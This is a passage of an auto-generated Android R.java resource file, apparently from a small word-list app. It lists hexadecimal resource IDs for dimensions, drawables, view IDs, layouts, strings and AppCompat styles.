public static final int abc_seekbar_track_background_height_material=0x7f07003c;
public static final int abc_seekbar_track_progress_height_material=0x7f07003d;
public static final int abc_select_dialog_padding_start_material=0x7f07003e;
public static final int abc_switch_padding=0x7f070018;
public static final int abc_text_size_body_1_material=0x7f07003f;
public static final int abc_text_size_body_2_material=0x7f070040;
public static final int abc_text_size_button_material=0x7f070041;
public static final int abc_text_size_caption_material=0x7f070042;
public static final int abc_text_size_display_1_material=0x7f070043;
public static final int abc_text_size_display_2_material=0x7f070044;
public static final int abc_text_size_display_3_material=0x7f070045;
public static final int abc_text_size_display_4_material=0x7f070046;
public static final int abc_text_size_headline_material=0x7f070047;
public static final int abc_text_size_large_material=0x7f070048;
public static final int abc_text_size_medium_material=0x7f070049;
public static final int abc_text_size_menu_header_material=0x7f07004a;
public static final int abc_text_size_menu_material=0x7f07004b;
public static final int abc_text_size_small_material=0x7f07004c;
public static final int abc_text_size_subhead_material=0x7f07004d;
public static final int abc_text_size_subtitle_material_toolbar=0x7f070003;
public static final int abc_text_size_title_material=0x7f07004e;
public static final int abc_text_size_title_material_toolbar=0x7f070004;
public static final int big_padding=0x7f07004f;
public static final int button_height=0x7f070050;
public static final int design_appbar_elevation=0x7f070051;
public static final int design_bottom_sheet_modal_elevation=0x7f070052;
public static final int design_bottom_sheet_modal_peek_height=0x7f070053;
public static final int design_fab_border_width=0x7f070054;
public static final int design_fab_elevation=0x7f070055;
public static final int design_fab_image_size=0x7f070056;
public static final int design_fab_size_mini=0x7f070057;
public static final int design_fab_size_normal=0x7f070058;
public static final int design_fab_translation_z_pressed=0x7f070059;
public static final int design_navigation_elevation=0x7f07005a;
public static final int design_navigation_icon_padding=0x7f07005b;
public static final int design_navigation_icon_size=0x7f07005c;
public static final int design_navigation_max_width=0x7f070010;
public static final int design_navigation_padding_bottom=0x7f07005d;
public static final int design_navigation_separator_vertical_padding=0x7f07005e;
public static final int design_snackbar_action_inline_max_width=0x7f070011;
public static final int design_snackbar_background_corner_radius=0x7f070012;
public static final int design_snackbar_elevation=0x7f07005f;
public static final int design_snackbar_extra_spacing_horizontal=0x7f070013;
public static final int design_snackbar_max_width=0x7f070014;
public static final int design_snackbar_min_width=0x7f070015;
public static final int design_snackbar_padding_horizontal=0x7f070060;
public static final int design_snackbar_padding_vertical=0x7f070061;
public static final int design_snackbar_padding_vertical_2lines=0x7f070016;
public static final int design_snackbar_text_size=0x7f070062;
public static final int design_tab_max_width=0x7f070063;
public static final int design_tab_scrollable_min_width=0x7f070017;
public static final int design_tab_text_size=0x7f070064;
public static final int design_tab_text_size_2line=0x7f070065;
public static final int disabled_alpha_material_dark=0x7f070066;
public static final int disabled_alpha_material_light=0x7f070067;
public static final int divider_height=0x7f070068;
public static final int highlight_alpha_material_colored=0x7f070069;
public static final int highlight_alpha_material_dark=0x7f07006a;
public static final int highlight_alpha_material_light=0x7f07006b;
public static final int item_touch_helper_max_drag_scroll_per_frame=0x7f07006c;
public static final int item_touch_helper_swipe_escape_max_velocity=0x7f07006d;
public static final int item_touch_helper_swipe_escape_velocity=0x7f07006e;
public static final int notification_large_icon_height=0x7f07006f;
public static final int notification_large_icon_width=0x7f070070;
public static final int notification_subtext_size=0x7f070071;
public static final int small_padding=0x7f070072;
}
public static final class drawable {
public static final int abc_ab_share_pack_mtrl_alpha=0x7f020000;
public static final int abc_action_bar_item_background_material=0x7f020001;
public static final int abc_btn_borderless_material=0x7f020002;
public static final int abc_btn_check_material=0x7f020003;
public static final int abc_btn_check_to_on_mtrl_000=0x7f020004;
public static final int abc_btn_check_to_on_mtrl_015=0x7f020005;
public static final int abc_btn_colored_material=0x7f020006;
public static final int abc_btn_default_mtrl_shape=0x7f020007;
public static final int abc_btn_radio_material=0x7f020008;
public static final int abc_btn_radio_to_on_mtrl_000=0x7f020009;
public static final int abc_btn_radio_to_on_mtrl_015=0x7f02000a;
public static final int abc_btn_switch_to_on_mtrl_00001=0x7f02000b;
public static final int abc_btn_switch_to_on_mtrl_00012=0x7f02000c;
public static final int abc_cab_background_internal_bg=0x7f02000d;
public static final int abc_cab_background_top_material=0x7f02000e;
public static final int abc_cab_background_top_mtrl_alpha=0x7f02000f;
public static final int abc_control_background_material=0x7f020010;
public static final int abc_dialog_material_background=0x7f020011;
public static final int abc_edit_text_material=0x7f020012;
public static final int abc_ic_ab_back_material=0x7f020013;
public static final int abc_ic_arrow_drop_right_black_24dp=0x7f020014;
public static final int abc_ic_clear_material=0x7f020015;
public static final int abc_ic_commit_search_api_mtrl_alpha=0x7f020016;
public static final int abc_ic_go_search_api_material=0x7f020017;
public static final int abc_ic_menu_copy_mtrl_am_alpha=0x7f020018;
public static final int abc_ic_menu_cut_mtrl_alpha=0x7f020019;
public static final int abc_ic_menu_overflow_material=0x7f02001a;
public static final int abc_ic_menu_paste_mtrl_am_alpha=0x7f02001b;
public static final int abc_ic_menu_selectall_mtrl_alpha=0x7f02001c;
public static final int abc_ic_menu_share_mtrl_alpha=0x7f02001d;
public static final int abc_ic_search_api_material=0x7f02001e;
public static final int abc_ic_star_black_16dp=0x7f02001f;
public static final int abc_ic_star_black_36dp=0x7f020020;
public static final int abc_ic_star_black_48dp=0x7f020021;
public static final int abc_ic_star_half_black_16dp=0x7f020022;
public static final int abc_ic_star_half_black_36dp=0x7f020023;
public static final int abc_ic_star_half_black_48dp=0x7f020024;
public static final int abc_ic_voice_search_api_material=0x7f020025;
public static final int abc_item_background_holo_dark=0x7f020026;
public static final int abc_item_background_holo_light=0x7f020027;
public static final int abc_list_divider_mtrl_alpha=0x7f020028;
public static final int abc_list_focused_holo=0x7f020029;
public static final int abc_list_longpressed_holo=0x7f02002a;
public static final int abc_list_pressed_holo_dark=0x7f02002b;
public static final int abc_list_pressed_holo_light=0x7f02002c;
public static final int abc_list_selector_background_transition_holo_dark=0x7f02002d;
public static final int abc_list_selector_background_transition_holo_light=0x7f02002e;
public static final int abc_list_selector_disabled_holo_dark=0x7f02002f;
public static final int abc_list_selector_disabled_holo_light=0x7f020030;
public static final int abc_list_selector_holo_dark=0x7f020031;
public static final int abc_list_selector_holo_light=0x7f020032;
public static final int abc_menu_hardkey_panel_mtrl_mult=0x7f020033;
public static final int abc_popup_background_mtrl_mult=0x7f020034;
public static final int abc_ratingbar_indicator_material=0x7f020035;
public static final int abc_ratingbar_material=0x7f020036;
public static final int abc_ratingbar_small_material=0x7f020037;
public static final int abc_scrubber_control_off_mtrl_alpha=0x7f020038;
public static final int abc_scrubber_control_to_pressed_mtrl_000=0x7f020039;
public static final int abc_scrubber_control_to_pressed_mtrl_005=0x7f02003a;
public static final int abc_scrubber_primary_mtrl_alpha=0x7f02003b;
public static final int abc_scrubber_track_mtrl_alpha=0x7f02003c;
public static final int abc_seekbar_thumb_material=0x7f02003d;
public static final int abc_seekbar_tick_mark_material=0x7f02003e;
public static final int abc_seekbar_track_material=0x7f02003f;
public static final int abc_spinner_mtrl_am_alpha=0x7f020040;
public static final int abc_spinner_textfield_background_material=0x7f020041;
public static final int abc_switch_thumb_material=0x7f020042;
public static final int abc_switch_track_mtrl_alpha=0x7f020043;
public static final int abc_tab_indicator_material=0x7f020044;
public static final int abc_tab_indicator_mtrl_alpha=0x7f020045;
public static final int abc_text_cursor_material=0x7f020046;
public static final int abc_textfield_activated_mtrl_alpha=0x7f020047;
public static final int abc_textfield_default_mtrl_alpha=0x7f020048;
public static final int abc_textfield_search_activated_mtrl_alpha=0x7f020049;
public static final int abc_textfield_search_default_mtrl_alpha=0x7f02004a;
public static final int abc_textfield_search_material=0x7f02004b;
public static final int design_fab_background=0x7f02004c;
public static final int design_snackbar_background=0x7f02004d;
public static final int ic_add_24dp=0x7f02004e;
public static final int notification_template_icon_bg=0x7f02004f;
}
public static final class id {
public static final int action0=0x7f0c0079;
public static final int action_bar=0x7f0c005d;
public static final int action_bar_activity_content=0x7f0c0000;
public static final int action_bar_container=0x7f0c005c;
public static final int action_bar_root=0x7f0c0058;
public static final int action_bar_spinner=0x7f0c0001;
public static final int action_bar_subtitle=0x7f0c003d;
public static final int action_bar_title=0x7f0c003c;
public static final int action_context_bar=0x7f0c005e;
public static final int action_divider=0x7f0c007d;
public static final int action_menu_divider=0x7f0c0002;
public static final int action_menu_presenter=0x7f0c0003;
public static final int action_mode_bar=0x7f0c005a;
public static final int action_mode_bar_stub=0x7f0c0059;
public static final int action_mode_close_button=0x7f0c003e;
public static final int activity_chooser_view_content=0x7f0c003f;
public static final int add=0x7f0c001a;
public static final int alertTitle=0x7f0c004b;
public static final int always=0x7f0c0035;
public static final int auto=0x7f0c0031;
public static final int beginning=0x7f0c0033;
public static final int bottom=0x7f0c0021;
public static final int buttonPanel=0x7f0c0046;
public static final int button_save=0x7f0c006d;
public static final int cancel_action=0x7f0c007a;
public static final int center=0x7f0c0022;
public static final int center_horizontal=0x7f0c0023;
public static final int center_vertical=0x7f0c0024;
public static final int checkbox=0x7f0c0054;
public static final int chronometer=0x7f0c0080;
public static final int clip_horizontal=0x7f0c002d;
public static final int clip_vertical=0x7f0c002e;
public static final int collapseActionView=0x7f0c0036;
public static final int contentPanel=0x7f0c004c;
public static final int custom=0x7f0c0052;
public static final int customPanel=0x7f0c0051;
public static final int decor_content_parent=0x7f0c005b;
public static final int default_activity_button=0x7f0c0042;
public static final int delete_button=0x7f0c0087;
public static final int design_bottom_sheet=0x7f0c0071;
public static final int design_menu_item_action_area=0x7f0c0078;
public static final int design_menu_item_action_area_stub=0x7f0c0077;
public static final int design_menu_item_text=0x7f0c0076;
public static final int design_navigation_view=0x7f0c0075;
public static final int disableHome=0x7f0c000e;
public static final int edit_button=0x7f0c0088;
public static final int edit_query=0x7f0c005f;
public static final int edit_word=0x7f0c006c;
public static final int end=0x7f0c0025;
public static final int end_padder=0x7f0c0085;
public static final int enterAlways=0x7f0c0015;
public static final int enterAlwaysCollapsed=0x7f0c0016;
public static final int exitUntilCollapsed=0x7f0c0017;
public static final int expand_activities_button=0x7f0c0040;
public static final int expanded_menu=0x7f0c0053;
public static final int fab=0x7f0c006f;
public static final int fill=0x7f0c002f;
public static final int fill_horizontal=0x7f0c0030;
public static final int fill_vertical=0x7f0c0026;
public static final int fixed=0x7f0c003a;
public static final int home=0x7f0c0004;
public static final int homeAsUp=0x7f0c000f;
public static final int icon=0x7f0c0044;
public static final int ifRoom=0x7f0c0037;
public static final int image=0x7f0c0041;
public static final int info=0x7f0c0084;
public static final int item_touch_helper_previous_elevation=0x7f0c0005;
public static final int left=0x7f0c0027;
public static final int line1=0x7f0c007e;
public static final int line3=0x7f0c0082;
public static final int listMode=0x7f0c000b;
public static final int list_item=0x7f0c0043;
public static final int media_actions=0x7f0c007c;
public static final int middle=0x7f0c0034;
public static final int mini=0x7f0c0032;
public static final int multiply=0x7f0c001b;
public static final int navigation_header_container=0x7f0c0074;
public static final int never=0x7f0c0038;
public static final int none=0x7f0c0010;
public static final int normal=0x7f0c000c;
public static final int parallax=0x7f0c002b;
public static final int parentPanel=0x7f0c0048;
public static final int pin=0x7f0c002c;
public static final int progress_circular=0x7f0c0006;
public static final int progress_horizontal=0x7f0c0007;
public static final int radio=0x7f0c0056;
public static final int recyclerview=0x7f0c006e;
public static final int right=0x7f0c0028;
public static final int screen=0x7f0c001c;
public static final int scroll=0x7f0c0018;
public static final int scrollIndicatorDown=0x7f0c0050;
public static final int scrollIndicatorUp=0x7f0c004d;
public static final int scrollView=0x7f0c004e;
public static final int scrollable=0x7f0c003b;
public static final int search_badge=0x7f0c0061;
public static final int search_bar=0x7f0c0060;
public static final int search_button=0x7f0c0062;
public static final int search_close_btn=0x7f0c0067;
public static final int search_edit_frame=0x7f0c0063;
public static final int search_go_btn=0x7f0c0069;
public static final int search_mag_icon=0x7f0c0064;
public static final int search_plate=0x7f0c0065;
public static final int search_src_text=0x7f0c0066;
public static final int search_voice_btn=0x7f0c006a;
public static final int select_dialog_listview=0x7f0c006b;
public static final int shortcut=0x7f0c0055;
public static final int showCustom=0x7f0c0011;
public static final int showHome=0x7f0c0012;
public static final int showTitle=0x7f0c0013;
public static final int snackbar_action=0x7f0c0073;
public static final int snackbar_text=0x7f0c0072;
public static final int snap=0x7f0c0019;
public static final int spacer=0x7f0c0047;
public static final int split_action_bar=0x7f0c0008;
public static final int src_atop=0x7f0c001d;
public static final int src_in=0x7f0c001e;
public static final int src_over=0x7f0c001f;
public static final int start=0x7f0c0029;
public static final int status_bar_latest_event_content=0x7f0c007b;
public static final int submenuarrow=0x7f0c0057;
public static final int submit_area=0x7f0c0068;
public static final int tabMode=0x7f0c000d;
public static final int text=0x7f0c0083;
public static final int text2=0x7f0c0081;
public static final int textSpacerNoButtons=0x7f0c004f;
public static final int time=0x7f0c007f;
public static final int title=0x7f0c0045;
public static final int title_template=0x7f0c004a;
public static final int top=0x7f0c002a;
public static final int topPanel=0x7f0c0049;
public static final int touch_outside=0x7f0c0070;
public static final int up=0x7f0c0009;
public static final int useLogo=0x7f0c0014;
public static final int view_offset_helper=0x7f0c000a;
public static final int withText=0x7f0c0039;
public static final int word=0x7f0c0086;
public static final int wrap_content=0x7f0c0020;
}
public static final class integer {
public static final int abc_config_activityDefaultDur=0x7f0a0001;
public static final int abc_config_activityShortDur=0x7f0a0002;
public static final int bottom_sheet_slide_duration=0x7f0a0003;
public static final int cancel_button_image_alpha=0x7f0a0004;
public static final int design_snackbar_text_max_lines=0x7f0a0000;
public static final int status_bar_notification_info_maxnum=0x7f0a0005;
}
public static final class layout {
public static final int abc_action_bar_title_item=0x7f040000;
public static final int abc_action_bar_up_container=0x7f040001;
public static final int abc_action_bar_view_list_nav_layout=0x7f040002;
public static final int abc_action_menu_item_layout=0x7f040003;
public static final int abc_action_menu_layout=0x7f040004;
public static final int abc_action_mode_bar=0x7f040005;
public static final int abc_action_mode_close_item_material=0x7f040006;
public static final int abc_activity_chooser_view=0x7f040007;
public static final int abc_activity_chooser_view_list_item=0x7f040008;
public static final int abc_alert_dialog_button_bar_material=0x7f040009;
public static final int abc_alert_dialog_material=0x7f04000a;
public static final int abc_dialog_title_material=0x7f04000b;
public static final int abc_expanded_menu_layout=0x7f04000c;
public static final int abc_list_menu_item_checkbox=0x7f04000d;
public static final int abc_list_menu_item_icon=0x7f04000e;
public static final int abc_list_menu_item_layout=0x7f04000f;
public static final int abc_list_menu_item_radio=0x7f040010;
public static final int abc_popup_menu_header_item_layout=0x7f040011;
public static final int abc_popup_menu_item_layout=0x7f040012;
public static final int abc_screen_content_include=0x7f040013;
public static final int abc_screen_simple=0x7f040014;
public static final int abc_screen_simple_overlay_action_mode=0x7f040015;
public static final int abc_screen_toolbar=0x7f040016;
public static final int abc_search_dropdown_item_icons_2line=0x7f040017;
public static final int abc_search_view=0x7f040018;
public static final int abc_select_dialog_material=0x7f040019;
public static final int activity_edit_word=0x7f04001a;
public static final int activity_main=0x7f04001b;
public static final int design_bottom_sheet_dialog=0x7f04001c;
public static final int design_layout_snackbar=0x7f04001d;
public static final int design_layout_snackbar_include=0x7f04001e;
public static final int design_layout_tab_icon=0x7f04001f;
public static final int design_layout_tab_text=0x7f040020;
public static final int design_menu_item_action_area=0x7f040021;
public static final int design_navigation_item=0x7f040022;
public static final int design_navigation_item_header=0x7f040023;
public static final int design_navigation_item_separator=0x7f040024;
public static final int design_navigation_item_subheader=0x7f040025;
public static final int design_navigation_menu=0x7f040026;
public static final int design_navigation_menu_item=0x7f040027;
public static final int notification_media_action=0x7f040028;
public static final int notification_media_cancel_action=0x7f040029;
public static final int notification_template_big_media=0x7f04002a;
public static final int notification_template_big_media_narrow=0x7f04002b;
public static final int notification_template_lines=0x7f04002c;
public static final int notification_template_media=0x7f04002d;
public static final int notification_template_part_chronometer=0x7f04002e;
public static final int notification_template_part_time=0x7f04002f;
public static final int select_dialog_item_material=0x7f040030;
public static final int select_dialog_multichoice_material=0x7f040031;
public static final int select_dialog_singlechoice_material=0x7f040032;
public static final int support_simple_spinner_dropdown_item=0x7f040033;
public static final int wordlist_item=0x7f040034;
}
public static final class mipmap {
public static final int ic_launcher=0x7f030000;
}
public static final class string {
public static final int abc_action_bar_home_description=0x7f060000;
public static final int abc_action_bar_home_description_format=0x7f060001;
public static final int abc_action_bar_home_subtitle_description_format=0x7f060002;
public static final int abc_action_bar_up_description=0x7f060003;
public static final int abc_action_menu_overflow_description=0x7f060004;
public static final int abc_action_mode_done=0x7f060005;
public static final int abc_activity_chooser_view_see_all=0x7f060006;
public static final int abc_activitychooserview_choose_application=0x7f060007;
public static final int abc_capital_off=0x7f060008;
public static final int abc_capital_on=0x7f060009;
public static final int abc_font_family_body_1_material=0x7f060014;
public static final int abc_font_family_body_2_material=0x7f060015;
public static final int abc_font_family_button_material=0x7f060016;
public static final int abc_font_family_caption_material=0x7f060017;
public static final int abc_font_family_display_1_material=0x7f060018;
public static final int abc_font_family_display_2_material=0x7f060019;
public static final int abc_font_family_display_3_material=0x7f06001a;
public static final int abc_font_family_display_4_material=0x7f06001b;
public static final int abc_font_family_headline_material=0x7f06001c;
public static final int abc_font_family_menu_material=0x7f06001d;
public static final int abc_font_family_subhead_material=0x7f06001e;
public static final int abc_font_family_title_material=0x7f06001f;
public static final int abc_search_hint=0x7f06000a;
public static final int abc_searchview_description_clear=0x7f06000b;
public static final int abc_searchview_description_query=0x7f06000c;
public static final int abc_searchview_description_search=0x7f06000d;
public static final int abc_searchview_description_submit=0x7f06000e;
public static final int abc_searchview_description_voice=0x7f06000f;
public static final int abc_shareactionprovider_share_with=0x7f060010;
public static final int abc_shareactionprovider_share_with_application=0x7f060011;
public static final int abc_toolbar_collapse_description=0x7f060012;
public static final int app_name=0x7f060020;
public static final int appbar_scrolling_view_behavior=0x7f060021;
public static final int bottom_sheet_behavior=0x7f060022;
public static final int button_delete=0x7f060023;
public static final int button_edit=0x7f060024;
public static final int button_new=0x7f060025;
public static final int button_save=0x7f060026;
public static final int character_counter_pattern=0x7f060027;
public static final int empty_not_saved=0x7f060028;
public static final int hint_definition=0x7f060029;
public static final int hint_word=0x7f06002a;
public static final int status_bar_notification_info_overflow=0x7f060013;
}
public static final class style {
public static final int AlertDialog_AppCompat=0x7f08008c;
public static final int AlertDialog_AppCompat_Light=0x7f08008d;
public static final int Animation_AppCompat_Dialog=0x7f08008e;
public static final int Animation_AppCompat_DropDownUp=0x7f08008f;
public static final int Animation_Design_BottomSheetDialog=0x7f080090;
public static final int AppTheme=0x7f080091;
public static final int Base_AlertDialog_AppCompat=0x7f080092;
public static final int Base_AlertDialog_AppCompat_Light=0x7f080093;
public static final int Base_Animation_AppCompat_Dialog=0x7f080094;
public static final int Base_Animation_AppCompat_DropDownUp=0x7f080095;
public static final int Base_DialogWindowTitle_AppCompat=0x7f080096;
public static final int Base_DialogWindowTitleBackground_AppCompat=0x7f080097;
public static final int Base_TextAppearance_AppCompat=0x7f080039;
public static final int Base_TextAppearance_AppCompat_Body1=0x7f08003a;
public static final int Base_TextAppearance_AppCompat_Body2=0x7f08003b;
public static final int Base_TextAppearance_AppCompat_Button=0x7f080023;
public static final int Base_TextAppearance_AppCompat_Caption=0x7f08003c;
public static final int Base_TextAppearance_AppCompat_Display1=0x7f08003d;
public static final int Base_TextAppearance_AppCompat_Display2=0x7f08003e;
public static final int Base_TextAppearance_AppCompat_Display3=0x7f08003f;
public static final int Base_TextAppearance_AppCompat_Display4=0x7f080040;
public static final int Base_TextAppearance_AppCompat_Headline=0x7f080041;
public static final int Base_TextAppearance_AppCompat_Inverse=0x7f08000c;
public static final int Base_TextAppearance_AppCompat_Large=0x7f080042;
public static final int Base_TextAppearance_AppCompat_Large_Inverse=0x7f08000d;
public static final int Base_TextAppearance_AppCompat_Light_Widget_PopupMenu_Large=0x7f080043;
public static final int Base_TextAppearance_AppCompat_Light_Widget_PopupMenu_Small=0x7f080044;
public static final int Base_TextAppearance_AppCompat_Medium=0x7f080045;
public static final int Base_TextAppearance_AppCompat_Medium_Inverse=0x7f08000e;
public static final int Base_TextAppearance_AppCompat_Menu=0x7f080046;
public static final int Base_TextAppearance_AppCompat_SearchResult=0x7f080098;
public static final int Base_TextAppearance_AppCompat_SearchResult_Subtitle=0x7f080047;
public static final int Base_TextAppearance_AppCompat_SearchResult_Title=0x7f080048;
public static final int Base_TextAppearance_AppCompat_Small=0x7f080049;
public static final int Base_TextAppearance_AppCompat_Small_Inverse=0x7f08000f;
public static final int Base_TextAppearance_AppCompat_Subhead=0x7f08004a;
public static final int Base_TextAppearance_AppCompat_Subhead_Inverse=0x7f080010;
public static final int Base_TextAppearance_AppCompat_Title=0x7f08004b;
public static final int Base_TextAppearance_AppCompat_Title_Inverse=0x7f080011;
public static final int Base_TextAppearance_AppCompat_Widget_ActionBar_Menu=0x7f080085;
public static final int Base_TextAppearance_AppCompat_Widget_ActionBar_Subtitle=0x7f08004c;
public static final int Base_TextAppearance_AppCompat_Widget_ActionBar_Subtitle_Inverse=0x7f08004d;
public static final int Base_TextAppearance_AppCompat_Widget_ActionBar_Title=0x7f08004e;
public static final int Base_TextAppearance_AppCompat_Widget_ActionBar_Title_Inverse=0x7f08004f;
public static final int Base_TextAppearance_AppCompat_Widget_ActionMode_Subtitle=0x7f080050;
public static final int Base_TextAppearance_AppCompat_Widget_ActionMode_Title=0x7f080051;
public static final int Base_TextAppearance_AppCompat_Widget_Button=0x7f080052;
public static final int Base_TextAppearance_AppCompat_Widget_Button_Inverse=0x7f080086;
public static final int Base_TextAppearance_AppCompat_Widget_DropDownItem=0x7f080099;
public static final int Base_TextAppearance_AppCompat_Widget_PopupMenu_Header=0x7f080053;
public static final int Base_TextAppearance_AppCompat_Widget_PopupMenu_Large=0x7f080054;
public static final int Base_TextAppearance_AppCompat_Widget_PopupMenu_Small=0x7f080055;
public static final int Base_TextAppearance_AppCompat_Widget_Switch=0x7f080056;
public static final int Base_TextAppearance_AppCompat_Widget_TextView_SpinnerItem=0x7f080057;
public static final int Base_TextAppearance_Widget_AppCompat_ExpandedMenu_Item=0x7f08009a;
public static final int Base_TextAppearance_Widget_AppCompat_Toolbar_Subtitle=0x7f080058;
public static final int Base_TextAppearance_Widget_AppCompat_Toolbar_Title=0x7f080059;
public static final int Base_Theme_AppCompat=0x7f08005a;
public static final int Base_Theme_AppCompat_CompactMenu=0x7f08009b;
public static final int Base_Theme_AppCompat_Dialog=0x7f080012;
public static final int Base_Theme_AppCompat_Dialog_Alert=0x7f08009c;
public static final int Base_Theme_AppCompat_Dialog_FixedSize=0x7f08009d;
public static final int Base_Theme_AppCompat_Dialog_MinWidth=0x7f08009e;
public static final int Base_Theme_AppCompat_DialogWhenLarge=0x7f080002;
public static final int Base_Theme_AppCompat_Light=0x7f08005b;
public static final int Base_Theme_AppCompat_Light_DarkActionBar=0x7f08009f;
public static final int Base_Theme_AppCompat_Light_Dialog=0x7f080013;
public static final int Base_Theme_AppCompat_Light_Dialog_Alert=0x7f0800a0;
public static final int Base_Theme_AppCompat_Light_Dialog_FixedSize=0x7f0800a1;
public static final int Base_Theme_AppCompat_Light_Dialog_MinWidth=0x7f0800a2;
public static final int Base_Theme_AppCompat_Light_DialogWhenLarge=0x7f080003;
public static final int Base_ThemeOverlay_AppCompat=0x7f0800a3;
public static final int Base_ThemeOverlay_AppCompat_ActionBar=0x7f0800a4;
public static final int Base_ThemeOverlay_AppCompat_Dark=0x7f0800a5;
public static final int Base_ThemeOverlay_AppCompat_Dark_ActionBar=0x7f0800a6;
public static final int Base_ThemeOverlay_AppCompat_Dialog=0x7f080014;
public static final int Base_ThemeOverlay_AppCompat_Dialog_Alert=0x7f0800a7;
public static final int Base_ThemeOverlay_AppCompat_Light=0x7f0800a8;
public static final int Base_V11_Theme_AppCompat_Dialog=0x7f080015;
public static final int Base_V11_Theme_AppCompat_Light_Dialog=0x7f080016;
public static final int Base_V11_ThemeOverlay_AppCompat_Dialog=0x7f080017;
public static final int Base_V12_Widget_AppCompat_AutoCompleteTextView=0x7f08001f;
public static final int Base_V12_Widget_AppCompat_EditText=0x7f080020;
public static final int Base_V21_Theme_AppCompat=0x7f08005c;
public static final int Base_V21_Theme_AppCompat_Dialog=0x7f08005d;
public static final int Base_V21_Theme_AppCompat_Light=0x7f08005e;
public static final int Base_V21_Theme_AppCompat_Light_Dialog=0x7f08005f;
public static final int Base_V21_ThemeOverlay_AppCompat_Dialog=0x7f080060;
public static final int Base_V22_Theme_AppCompat=0x7f080083;
public static final int Base_V22_Theme_AppCompat_Light=0x7f080084;
public static final int Base_V23_Theme_AppCompat=0x7f080087;
public static final int Base_V23_Theme_AppCompat_Light=0x7f080088;
public static final int Base_V7_Theme_AppCompat=0x7f0800a9;
public static final int Base_V7_Theme_AppCompat_Dialog=0x7f0800aa;
public static final int Base_V7_Theme_AppCompat_Light=0x7f0800ab;
public static final int Base_V7_Theme_AppCompat_Light_Dialog=0x7f0800ac;
public static final int Base_V7_ThemeOverlay_AppCompat_Dialog=0x7f0800ad;
public static final int Base_V7_Widget_AppCompat_AutoCompleteTextView=0x7f0800ae;
public static final int Base_V7_Widget_AppCompat_EditText=0x7f0800af;
public static final int Base_Widget_AppCompat_ActionBar=0x7f0800b0;
public static final int Base_Widget_AppCompat_ActionBar_Solid=0x7f0800b1;
public static final int Base_Widget_AppCompat_ActionBar_TabBar=0x7f0800b2;
public static final int Base_Widget_AppCompat_ActionBar_TabText=0x7f080061;
public static final int Base_Widget_AppCompat_ActionBar_TabView=0x7f080062;
public static final int Base_Widget_AppCompat_ActionButton=0x7f080063;
public static final int Base_Widget_AppCompat_ActionButton_CloseMode=0x7f080064;
public static final int Base_Widget_AppCompat_ActionButton_Overflow=0x7f080065;
public static final int Base_Widget_AppCompat_ActionMode=0x7f0800b3;
public static final int Base_Widget_AppCompat_ActivityChooserView=0x7f0800b4;
public static final int Base_Widget_AppCompat_AutoCompleteTextView=0x7f080021;
public static final int Base_Widget_AppCompat_Button=0x7f080066;
public static final int Base_Widget_AppCompat_Button_Borderless=0x7f080067;
public static final int Base_Widget_AppCompat_Button_Borderless_Colored=0x7f080068;
public static final int Base_Widget_AppCompat_Button_ButtonBar_AlertDialog=0x7f0800b5;
public static final int Base_Widget_AppCompat_Button_Colored=0x7f080089;
public static final int Base_Widget_AppCompat_Button_Small=0x7f080069;
public static final int Base_Widget_AppCompat_ButtonBar=0x7f08006a;
public static final int Base_Widget_AppCompat_ButtonBar_AlertDialog=0x7f0800b6;
public static final int Base_Widget_AppCompat_CompoundButton_CheckBox=0x7f08006b;
public static final int Base_Widget_AppCompat_CompoundButton_RadioButton=0x7f08006c;
public static final int Base_Widget_AppCompat_CompoundButton_Switch=0x7f0800b7;
public static final int Base_Widget_AppCompat_DrawerArrowToggle=0x7f080000;
public static final int Base_Widget_AppCompat_DrawerArrowToggle_Common=0x7f0800b8;
public static final int Base_Widget_AppCompat_DropDownItem_Spinner=0x7f08006d;
public static final int Base_Widget_AppCompat_EditText=0x7f080022;
public static final int Base_Widget_AppCompat_ImageButton=0x7f08006e;
public static final int Base_Widget_AppCompat_Light_ActionBar=0x7f0800b9;
public static final int Base_Widget_AppCompat_Light_ActionBar_Solid=0x7f0800ba;
public static final int Base_Widget_AppCompat_Light_ActionBar_TabBar=0x7f0800bb;
public static final int Base_Widget_AppCompat_Light_ActionBar_TabText=0x7f08006f;
public static final int Base_Widget_AppCompat_Light_ActionBar_TabText_Inverse=0x7f080070;
public static final int Base_Widget_AppCompat_Light_ActionBar_TabView=0x7f080071;
public static final int Base_Widget_AppCompat_Light_PopupMenu=0x7f080072;
public static final int Base_Widget_AppCompat_Light_PopupMenu_Overflow=0x7f080073;
public static final int Base_Widget_AppCompat_ListMenuView=0x7f0800bc;
public static final int Base_Widget_AppCompat_ListPopupWindow=0x7f080074;
public static final int Base_Widget_AppCompat_ListView=0x7f080075;
public static final int Base_Widget_AppCompat_ListView_DropDown=0x7f080076;
public static final int Base_Widget_AppCompat_ListView_Menu=0x7f080077;
public static final int Base_Widget_AppCompat_PopupMenu=0x7f080078;
public static final int Base_Widget_AppCompat_PopupMenu_Overflow=0x7f080079;
public static final int Base_Widget_AppCompat_PopupWindow=0x7f0800bd;
public static final int Base_Widget_AppCompat_ProgressBar=0x7f080018;
public static final int Base_Widget_AppCompat_ProgressBar_Horizontal=0x7f080019;
public static final int Base_Widget_AppCompat_RatingBar=0x7f08007a;
public static final int Base_Widget_AppCompat_RatingBar_Indicator=0x7f08008a;
public static final int Base_Widget_AppCompat_RatingBar_Small=0x7f08008b;
public static final int Base_Widget_AppCompat_SearchView=0x7f0800be;
public static final int Base_Widget_AppCompat_SearchView_ActionBar=0x7f0800bf;
public static final int Base_Widget_AppCompat_SeekBar=0x7f08007b;
public static final int Base_Widget_AppCompat_SeekBar_Discrete=0x7f0800c0;
public static final int Base_Widget_AppCompat_Spinner=0x7f08007c;
public static final int Base_Widget_AppCompat_Spinner_Underlined=0x7f080004;
public static final int Base_Widget_AppCompat_TextView_SpinnerItem=0x7f08007d;
public static final int Base_Widget_AppCompat_Toolbar=0x7f0800c1;
public static final int Base_Widget_AppCompat_Toolbar_Button_Navigation=0x7f08007e;
public static final int Base_Widget_Design_AppBarLayout=0x7f0800c2;
public static final int Base_Widget_Design_TabLayout=0x7f0800c3;
public static final int Platform_AppCompat=0x7f08001a;
public static final int Platform_AppCompat_Light=0x7f08001b;
public static final int Platform_ThemeOverlay_AppCompat=0x7f08007f;
public static final int Platform_ThemeOverlay_AppCompat_Dark=0x7f080080;
public static final int Platform_ThemeOverlay_AppCompat_Light=0x7f080081;
public static final int Platform_V11_AppCompat=0x7f08001c;
public static final int Platform_V11_AppCompat_Light=0x7f08001d;
public static final int Platform_V14_AppCompat=0x7f080024;
public static final int Platform_V14_AppCompat_Light=0x7f080025;
